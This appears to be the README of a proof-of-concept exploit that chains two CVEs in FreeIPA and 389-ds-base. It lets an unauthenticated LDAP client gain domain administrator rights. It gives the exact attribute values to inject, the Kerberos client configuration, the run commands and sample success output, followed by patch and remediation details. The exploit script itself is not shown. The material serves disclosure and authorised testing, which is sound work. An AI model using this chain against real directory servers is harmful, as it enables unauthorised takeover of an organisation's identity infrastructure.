
Proof-of-concept exploit for CVE-2026-76578 and CVE-2026-76560, chaining anonymous LDAP ADD with a 389-ds SELFDN bypass to gain FreeIPA domain admin rights.
Product: FreeIPA 4.9.x – 4.13.3
Severity: Critical (CVSS 9.8)
Fixed: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
This proof-of-concept was developed and executed exclusively within an isolated, privately owned lab environment for the purpose of authorized security research and vulnerability validation.
Before using this script:
The authors accept no liability for misuse. This code is provided for defensive research and authorised penetration testing only.
Note on portability: this script was validated against the specific package versions listed in the Test Environment section below. Behaviour on other OS versions, patch levels, or non-default FreeIPA configurations may differ. Always verify results independently in a controlled environment before drawing conclusions about a production target.
| Parameter | Value |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Domain | test.local |
| Server IP | 192.168.1.11 |
| Hostname | ipa-master.test.local |
| Attack host | Kali Linux (external, no domain membership) |
An unauthenticated LDAP client can add an OTP token entry under cn=otp and
obtain full FreeIPA domain administrator rights. Two flaws combine:
CVE-2026-76578 (FreeIPA) — the OTP ADD ACI has no targetattr restriction,
so anonymous ADD can include any attribute: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange, etc.
CVE-2026-76560 (389-ds-base) — the SELFDN evaluator treats "" (empty
string) as matching the anonymous bind DN, bypassing the ipatokenOwner#SELFDN
ownership check.
The critical insight — no pre-captured blob, no master key access needed:
Adding objectClass: inetOrgPerson + userPassword to the entry triggers the
389-DS ipapwd plugin which automatically generates krbPrincipalKey
server-side, encrypting it with the target realm's krbMKey. The attacker
supplies a plaintext password; the server derives the Kerberos key internally.
Setting krbLastPwdChange: 20200101000000Z (past date) in the same ADD bypasses
the krbMinPwdLife policy that would otherwise require an interactive password
change before kinit succeeds.
| CVE | Component | Description |
|---|---|---|
| CVE-2026-76578 | FreeIPA | OTP ACI lacks targetattr — any attribute passes anonymous ADD |
| CVE-2026-76560 | 389-ds-base |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true required for Level 3:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey is encrypted with the target's krbMKey (master key).
The master key is stored in LDAP at cn=REALM,cn=kerberos and is readable only
by Directory Manager — not anonymously, not by uid=admin via GSSAPI.
Injecting krbPrincipalKey directly is impossible without the master key.
Injecting userPassword delegates key generation to the server's ipapwd
plugin, which has internal access to krbMKey and performs the encryption
transparently. The ACI (CVE-2026-76578) allows userPassword through with no
targetattr check.
The kerberos uniqueness plugin enforces uniqueness on krbPrincipalName and
krbPrincipalAlias across the full suffix, but not on krbCanonicalName.
A new entry in cn=otp with krbCanonicalName: admin@REALM does not conflict
with the real admin principal.
With canonicalize = true on the client, kinit attacker@REALM retrieves the
entry by krbPrincipalName, but the KDC issues the TGT with
cname = krbCanonicalName = admin@REALM. GSSAPI resolves this to the real
uid=admin DN — already a legitimate member of cn=admins. No group
modification is performed.
When userPassword is added, ipapwd sets krbPasswordExpiration to now
(expired) and krbLastPwdChange to now. With default krbMinPwdLife = 3600s,
kinit would prompt for a password change before issuing a TGT.
Setting krbLastPwdChange: 20200101000000Z in the original ADD overrides the
plugin value to six years in the past, satisfying the minimum lifetime check.
krbPasswordExpiration: 20990101000000Z prevents the expiry prompt. Both
attributes are accepted because the OTP ACI has no targetattr restriction.
To deploy a vulnerable FreeIPA instance on a fresh VM:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 adds an explicit targetattr allowlist to the OTP ACI, blocking
anonymous injection of userPassword, krbPrincipalAux, krbPrincipalKey, and
krbCanonicalName.
389-ds-base 3.2.0-10.el10_2 corrects the SELFDN evaluator to reject "" as a
matching DN for anonymous binds.
Both fixes are required independently — either alone reduces but does not eliminate the attack surface.
SELFDN evaluator accepts "" as anonymous bind DN |
| Component | Vulnerable | Fixed |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < patched build | see corresponding advisory |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | not patched at time of testing |